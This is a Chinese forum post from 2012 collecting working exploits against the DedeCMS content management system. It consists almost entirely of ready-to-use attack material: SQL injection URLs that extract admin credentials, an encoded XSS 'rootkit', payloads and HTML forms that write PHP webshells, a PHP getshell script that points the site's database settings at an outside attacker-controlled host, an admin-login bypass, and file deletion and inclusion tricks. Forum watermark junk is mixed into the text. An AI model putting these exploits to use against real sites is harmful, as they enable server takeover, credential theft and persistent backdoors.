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标题: dedecms漏洞总结 [打印本页]

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作者: admin    时间: 2012-10-18 10:42
标题: dedecms漏洞总结

- o5 ?1 B8 X, R" j! N2 z+ F/ @5 D) xDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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% e8 d9 L4 R# d) Z: p  W- X* R2 PDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
- E4 z# P. i4 D$ c& ^8 j. m- Z发表后查看或修改即可执行
% y) k: ~) _- G; ba{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
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Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
& g7 r8 ]( m) X/ k) j+ X  |  zhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7


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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
: s" p! U6 k" Y9 o3 z* p& P$ phttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`


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& `0 W) }& _# s( NDEDECMS 全版本 gotopage变量XSS漏洞
# _6 J1 U0 P. m6 o1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
4 h* a3 u" T6 d" l( P( M7 [* ~4 khttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

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2 P, B0 Q9 E7 J! l+ f2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
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http://v57.demo.dedecms.com/dede/login.php


6 c# s- Y/ I% Qcolor=Red]DeDeCMS(织梦)变量覆盖getshell
+ Z' w: d, u& L# m9 V& Y: c; k#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
. g, J2 E; d5 P6 Pset_time_limit(0);
! c0 L$ }; u2 C, L% y, }print_r('
" A- O! j5 g) U' s8 _. YDEDEcms Variable Coverage
, P, k$ `( Z7 ]) p  |Exploit Author: www.heixiaozi.comwww.webvul.com
  {" p4 Q5 s2 x  C; A5 i! ?);
echo "\r\n";
if($argv[2]==null){
print_r('
) J  ~$ N- d4 o* b/ J1 n: K) P' A+---------------------------------------------------------------------------+
  c$ {& |. o3 {  u7 LUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
5 Z7 {; X$ c; z1 K+ t; O+---------------------------------------------------------------------------+
7 C0 {) b. ]5 Z8 V' _$ h- p');
' T0 W9 R+ n, K2 x% A  Jexit;
}
$url=$argv[1];
. M9 a- L+ p) n3 w  c$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
+ d' r# ~7 y- jif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;

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if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
% b$ Y; W* x" b/ WShell:".$url."/$path/plus/fuck.php\n";

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% L) |2 A2 X8 h% ~1 b5 [- x}else{
echo "
$ y  P) g' r& r3 w7 W- yExploit Failed \n";
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6 C5 w, e5 X# M- m* v% gfunction Getshell($url,$aid,$path){
$id=$aid;
3 l- |. _7 F4 e6 }. Y! G* D$host=$url;
$port="80";
  m  ?  M' O, A" |+ L8 M$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
4 s! E+ B+ I4 m# [$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% \# D2 G, t2 k5 J' Q, g/ H$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
' j8 w% s% w2 F" H" I" D) C( x6 H$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
, R, z+ j& Z8 m5 R0 o$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
8 X8 I0 ^+ w) B0 j4 Q4 ^# tif (!$ock) {
8 @2 t/ ^1 s; K% Becho "
No response from ".$host."\n";
}
4 u" {7 U  g3 g& I; Hfwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
; I% a6 ~. l  B: D0 greturn $exp;
7 J! m0 y) i. U}
}
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DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
: T: t* J( C6 {8 ?. _http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


7 Q+ g# Z' ?& B2 r! }& E把上面validate=dcug改为当前的验证码，即可直接进入网站后台
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此漏洞的前提是必须得到后台路径才能实现


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Dedecms织梦 标签远程文件写入漏洞
1 c# h/ P) d( d: [/ r前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

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: Z' J4 s2 ]& W再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
4 ?( K4 q% |) ~7 k5 w, l: Y<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
2 v0 F; B3 G  o7 X+ ?% A0 w' ~6 @<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
% e; V7 s) P; Y: m; J<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
: `9 v, ^" q3 _% H</form>
( L# }+ \' z+ O( @2 [) x<script>
% ]. x; m  q  ^: _" l* Tfunction addaction()
# v: O2 ], }# D2 Q) j' M* i* y/ P{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>

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$ {+ ~- C" g- G; x( v- oDedeCms v5.6 嵌入恶意代码执行漏洞
9 K! B3 X7 R! O& U& W: a+ i& R注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
: _9 \6 n5 C- k7 n$ @; A2 ra{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
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+ k4 h9 I% O! i3 O" T/ l模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
; W: W  Q6 _1 D* k) u. o$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
$ j. j3 C4 @8 C2 m% z{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
4 d, f6 k( i5 d$ q<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
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" i! I' w8 J4 c1 i<div id="mainCp">
4 d3 B1 b& v% {' F/ K<h3 class="meTitle"><strong>修改文章</strong></h3>
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<div class="postForm">
: s  S8 Y5 _7 |( Q2 K6 }$ B9 q' j<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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3 y( A( i, u) R- r; s. k<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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<label>隶属栏目：</label>
3 T$ Q! D( P5 _<select name='typeid' size='1'>
6 e& Q* }& _' B$ [6 w<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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7 v0 P' m2 i4 p0 p<label>我的分类：</label>
  q( H5 H& Y% v& J( C5 q9 W<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
. F  w/ m2 U! b7 q, Y: D<option value='1' class='option3' selected>hahahha</option>
</select>
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<label>信息摘要：</label>
& [/ t6 V5 a/ S, T<textarea name="description" id="description">1111111</textarea>
$ V7 x( a5 R, t+ E/ _3 S$ e(内容的简要说明)

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+ Y( s) M  n. q/ z4 G, q<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
" r( b6 b$ m9 S<input type='text' name='dede_addonfields'
) H" m" y# |; G" d' w# a+ hvalue="templet,htmltext;">（这里构造）
</div>
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<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
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6 z9 d+ |; i9 C" m# i& S( F( O<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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4 ~' w" `. o8 t0 q# C5 p4 W<label>验证码：</label>
4 ~" x% H3 z8 k: B2 g. p6 u% u<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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<button class="button2" type="submit">提交</button>
  v8 v  E6 l+ |! g& H<button class="button2 ml10" type="reset">重置</button>
; F& I4 ]; G  y+ t$ e</div>
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</div>


</form>
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提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
$ ]! S$ I) W7 z: {* S$ ^, {6 W* y3 b% q+ Ehttp://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
& w2 k6 f. Y/ {6 d{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
- M% {4 B7 t# b" Z! P<input type="hidden" name="mediatype" value="1" />
. J, ~1 |9 d8 |  v<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
' o7 k, q4 v. W3 B<input type="hidden" name="dopost" value="save" />
( G6 ]9 }- j) t! D: @& v& R+ V<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>

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! O. r, W7 w- T) F6 w5 {& n构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
2 b% a& G& W( w( _) r' U1 @" B" j# L/ \发表文章，然后构造修改表单如下：

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( I$ i+ u; R4 W0 i# u, }5 x<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
2 f  |+ I7 s: R* q* z; i9 @<input type="hidden" name="dopost" value="save" />
; B/ L# M$ H, S7 x<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
7 A) j/ T; J' y3 i<input type="hidden" name="channelid" value="1" />
/ K, d7 s" ^9 D+ q; _<input type="hidden" name="oldlitpic" value="" />
0 P' P5 f" R: V7 K: x2 [" V<input type="hidden" name="sortrank" value="1282049150" />
- |5 M3 x: b  M8 o  r. L<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
5 E8 l' T! {  V. ?/ ]<option value='1' class='option3' selected=''>Test</option>
( y0 Y- {& F) Z1 X7 L<select name='mtypesid' size='1'>
3 t+ p5 j$ f# j9 b+ r; x) G<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
& d, _- o/ V2 k) g* M' [$ d% k, i</form>
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织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif



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织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../



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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
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# }* F7 f1 i$ M$ L  ]% Z+ `  ]织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
1 w" Q6 M; L  d+ \9 c/ X<html>
4 \7 t; w/ J& t4 Z' f& A<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
- ]8 h0 f- [+ K4 Y: p1 H5 J, m" c/ `1 E</head>
6 A  W7 G3 N2 r<body style="FONT-SIZE: 9pt">
( _% j0 a$ x  p$ h---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
4 V$ w8 u' E) O2 A<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
/ n& ~! ]* O7 l0 ^9 K' L+ A0 c<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
, b8 V6 A0 V+ K8 f4 i4 V" z) ?4 d2 nFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
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0 M* f: R. e1 R& Q* V利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
+ w  d+ D% C  E9 T# o+ w0 M1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
: s/ t, _* r5 C3 T8 K可看见错误信息
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6 W% v2 R9 f" G2 O/ y- @: e. `2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
7 a8 A! i  M, Eint(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
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<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
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. T6 H" q6 O6 |3 G织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*

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